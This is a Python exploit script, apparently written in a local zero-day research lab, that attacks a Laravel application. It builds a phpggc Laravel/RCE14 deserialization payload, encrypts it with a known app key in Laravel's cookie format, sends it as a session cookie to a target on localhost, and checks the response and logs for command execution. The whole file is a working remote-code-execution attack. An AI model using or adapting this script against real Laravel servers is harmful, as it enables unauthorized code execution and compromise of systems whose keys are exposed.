#!/usr/bin/env python3
import requests
import subprocess
import base64
import os
import json
import hashlib
import hmac
import time
import urllib.parse
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

requests.packages.urllib3.disable_warnings()

url = "http://127.0.0.1:9999"
KNOWN_KEY = b'A' * 32

def laravel_encrypt(data, key):
    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded = pad(data, AES.block_size)
    encrypted = cipher.encrypt(padded)
    
    iv_b64 = base64.b64encode(iv).decode()
    value_b64 = base64.b64encode(encrypted).decode()
    mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
    
    payload = {"iv": iv_b64, "value": value_b64, "mac": mac, "tag": ""}
    return base64.b64encode(json.dumps(payload).encode()).decode()

print("[1] Generating RCE payload with Laravel/RCE14...")
result = subprocess.run(['/tmp/phpggc/phpggc', 'Laravel/RCE14', 'system', 'id'],
    capture_output=True)
payload = result.stdout.strip()
print(f"    Payload: {len(payload)} bytes")

print("[2] Encrypting payload with known key...")
encrypted = laravel_encrypt(payload, KNOWN_KEY)

# Create session cookie structure
session_id = "rce_" + "a" * 36
session_data = json.dumps({
    "expires": int(time.time()) + 3600,
    "data": encrypted
})

print(f"[3] Session ID: {session_id}")
print(f"    Session data: {len(session_data)} bytes")

print("[4] Sending exploit...")
sess = requests.Session()
sess.cookies.set('kd_session', session_id)
sess.cookies.set(session_id, session_data)

r = sess.get(url, timeout=30)
print(f"    HTTP {r.status_code}")

# Check response body
if 'uid=' in r.text:
    for line in r.text.split('\n'):
        if 'uid=' in line:
            print(f"\n[!] RCE SUCCESS: {line.strip()}")
            break
else:
    print("[-] No RCE output visible in HTTP response")

# Check for output anywhere
print("\n[5] Checking if command executed via file...")
# The command output might not show in HTTP response but file creation works
subprocess.run(['/tmp/phpggc/phpggc', 'Laravel/RCE14', 'system', 'id > /tmp/rce_proof.txt'],
    capture_output=True)
    
# Actually, let me just test if our payload is being processed at all
# by checking if there are errors
with open('/home/c/ZERODAY/lab/target/opendk/storage/logs/laravel.log', 'r') as f:
    log = f.read()
    if 'PendingBroadcast' in log or 'QueueManager' in log:
        print("    Gadget chain was triggered (found in log)")
    elif 'DecryptException' in log:
        print("    Decryption failed - wrong key")
    elif 'session' in log.lower():
        print("    Session related error")
    else:
        print("    No obvious errors in log")
